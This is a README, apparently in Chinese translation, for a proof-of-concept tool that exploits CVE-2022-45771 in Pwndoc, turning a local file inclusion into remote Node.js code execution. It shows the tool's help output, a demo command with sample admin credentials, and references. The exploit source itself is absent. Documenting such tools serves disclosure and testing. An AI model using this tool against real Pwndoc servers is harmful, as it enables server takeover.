CVE-2022-45771-Pwndoc-LFI-to-RCE

Pwndoc 本地文件包含（LFI）漏洞，可实现服务器上 Node.js 代码的远程执行，由 @yuriisanin 发现。

功能

• 使用 --payload-file 在服务端执行自定义 Node.js 代码
• 利用后清理

要求

• 拥有 PwnDoc 实例的管理员帐户

用法

$ ./CVE-2022-45771-Pwndoc-LFI-to-RCE.py -h
CVE-2022-45771 Pwndoc-LFI-to-RCE v1.1 - by Remi GASCOU (Podalirius)

usage: CVE-2022-45771-Pwndoc-LFI-to-RCE.py [-h] -u USERNAME -p PASSWORD -H HOST [-P PORT] [-v] [--http] [-f PAYLOAD_FILE]

Poc of CVE-2022-45771 Pwndoc-LFI-to-RCE

options:
  -h, --help            show this help message and exit
  -u USERNAME, --username USERNAME
                        Pwndoc username
  -p PASSWORD, --password PASSWORD
                        Pwndoc password
  -H HOST, --host HOST  Pwndoc ip
  -P PORT, --port PORT  Pwndoc port
  -v, --verbose         Verbose mode. (default: False)
  --http                HTTP mode. (default: False)
  -f PAYLOAD_FILE, --payload-file PAYLOAD_FILE
                        File containing node.js code to run on the server.

演示

./CVE-2022-45771-Pwndoc-LFI-to-RCE.py -u admin -p 'Admin123!' --host 127.0.0.1 --payload-file files/exploit.js

https://user-images.githubusercontent.com/79218792/207442497-3228c436-5755-4a9a-9931-b23402dc9e86.mp4

参考

• 问题 https://github.com/pwndoc/pwndoc/issues/401，由 @yuriisanin 报告
• https://www.youtube.com/watch?v=jffBkEdF7RY